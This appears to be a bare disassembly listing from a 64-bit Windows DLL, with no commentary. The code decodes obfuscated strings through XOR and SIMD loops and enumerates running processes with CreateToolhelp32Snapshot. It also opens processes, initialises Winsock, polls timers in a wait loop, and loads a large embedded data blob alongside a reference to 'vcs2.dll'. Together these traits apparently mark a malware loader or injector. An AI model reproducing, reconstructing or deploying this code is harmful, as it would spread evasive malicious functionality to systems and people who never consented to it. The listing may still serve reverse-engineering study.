pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001f230
cmp r8d, 0x11
jge 0x18001f377
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001f340
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001f390
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180006af0
nop
cmp qword [rbp - 0x30], 0
jne 0x18001f3b7
xor bl, bl
jmp 0x18001f6ee
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156860]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001f449
mov r8, rsi
lea rdx, str.....
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov r9, rax
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001fdc8
mov rax, rbx
sub rax, r9
mov r8, rsi
cmp rax, rsi
cmovb r8, rax
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rax, qword [rsp + 0x40]
lea rcx, [rax + r9*2]
sub rbx, r8
lea rdx, [rcx + r8*2]
mov r8, rbx
sub r8, r9
lea r8, [r8*2 + 2]
call fcn.1800bbe40
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156850]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001f4d0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f67c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f677
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd1a
jmp 0x18001f677
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001f4f0
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x20]
call fcn.180006af0
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.18009d170
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.18009d170
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001f543
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001f551
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001f576
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001f57f
add rax, 2
sub rcx, 1
jne 0x18001f563
cmp r9, r10
jae 0x18001f587
mov ebx, esi
jmp 0x18001f58d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001f58d
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001f5cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f5c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdce
call fcn.1800b98ec
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001f61e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f619
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdd4
call fcn.1800b98ec
test ebx, ebx
je 0x18001f680
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001f4d0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f67c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f677
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdda
call fcn.1800b98ec
xor bl, bl
jmp 0x18001f6ee
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001f6a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f6ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f6e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fdda
call fcn.1800b98ec
mov bl, 1
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001f72e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f729
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd08
call fcn.1800b98ec
test bl, bl
jne 0x18001fa72
mov ecx, 0x98
call fcn.1800b98b0
mov rbx, rax
mov qword [rbp + 0x710], rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x728], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
xor r8d, r8d
lea rdx, [0x18011dd80]
lea rcx, [rbp - 0x20]
call fcn.180006af0
nop
lea rax, [rbp + 0x28]
mov qword [rbp + 0xb0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
xor r8d, r8d
lea rdx, [0x18011dd84]
lea rcx, [rbp + 0x28]
call fcn.180006af0
nop
movups xmm0, xmmword [str.__PWZ]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x180157cb0]
mov dword [rsp + 0x50], eax
cmp word [0x180157cb2], 0
je 0x18001f806
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x34
xor word [rsp + 0x44], 0x35
xor word [rsp + 0x46], 0x36
xor word [rsp + 0x48], 0x37
xor word [rsp + 0x4a], 0x38
xor word [rsp + 0x4c], 0x39
xor word [rsp + 0x4e], 0x3a
xor word [rsp + 0x50], 0x3b
xor word [rsp + 0x52], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x18001f820
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180006af0
nop
lea r9, [rbp - 0x20]
lea r8, [rbp + 0x28]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.18002afc0
mov rdi, rax
mov rcx, qword [rbp + 0xc0]
mov qword [rax + 0x18], rcx
mov ecx, dword [rbp + 0xd0]
mov dword [rax], ecx
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea rbx, [rax + 0x7530]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
ja 0x18001fa6c
movups xmm0, xmmword [str.__PWZKHMU_]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157c88]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157c98]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001f9e7
movdqa xmm5, xmmword [0x18015bd50]
movdqa xmm4, xmmword [0x18015bf90]
movd xmm6, r15d
movdqa xmm7, xmmword [0x18015bdf0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.3333333344444444]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001f8f0
cmp r8d, 0x11
jge 0x18001fa37
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001fa00
xor r8d, r8d
lea rdx, [rbp]
mov ecx, dword [rbp + 0xd0]
call fcn.18009e530
test rax, rax
jne 0x18001faec
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
jbe 0x18001f882
mov r14d, 0x405f
mov rdx, qword [rbp + 0x130]
cmp rdx, 8
jb 0x18001fab8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001fab3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fde0
call fcn.1800b98ec
mov eax, r14d
lea r11, [rsp + 0x7c8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8d, 0x2a400
lea rdx, [0x18030b780]
lea rcx, [rbp + 0x98]
call fcn.18009d330
nop
lea rdx, [rbp + 0x98]
lea rcx, [rsp + 0x40]
call fcn.180004fa0
mov rdx, rax
mov rcx, rdi
call fcn.18002b340
lea rcx, [rbp + 0x98]
call fcn.1800143e0
mov rdx, qword [0x1803607d8]
lea rcx, [rbp + 0x3a0]
call fcn.18001fdf0
nop
mov rax, qword [0x1803607d8]
mov dword [rax + 0x30], r13d
mov dword [rax + 0x24], r14d
mov dword [rax + 0x20], r14d
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180011680
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.180011660
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rbp + 0xe8]
sub rax, rcx
cmp rax, 8
jb 0x18001fde6
lea r9, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 8
cmovae r9, qword [rbp + 0xd8]
mov qword [rsp + 0x30], 8
lea rax, str.vcs2.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xf8]
call fcn.1800079c0
nop
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0xf8]
call fcn.180005210
mov rbx, qword [rax]
lea rdx, [rbp + 0x728]
lea rcx, [rbp + 0xf8]
call fcn.180005230
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x138]
call fcn.1800069b0
nop
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x40]
call fcn.180004fa0
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.1800a53d0
lea rdx, [rbp + 0x138]
lea rcx, [rbp]
call fcn.180005730
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
call fcn.18001b800
mov ebx, eax
lea rdx, [rbp + 0x3a0]
mov rcx, qword [0x1803607d8]
call fcn.18001ff20
test ebx, ebx
je 0x18001fc6e
call fcn.18001cd30
mov r14d, eax
jmp 0x18001fc71
mov r14d, r13d
lea rcx, [rbp + 0x138]
call fcn.1800055d0
nop
lea rcx, [rbp + 0xf8]
call fcn.180005250
nop
lea rcx, [rbp + 0xd8]
call fcn.180005250
nop
lea rcx, [rbp + 0x3e8]
call fcn.180010fe0
lea rcx, [rbp + 0x3a0]
call fcn.180011880
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x18001fa72
mov rdx, qword [rbp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001fcec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fd08
call fcn.1800b98ec
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
jmp 0x18001fa72
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
int3
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.180001570
int3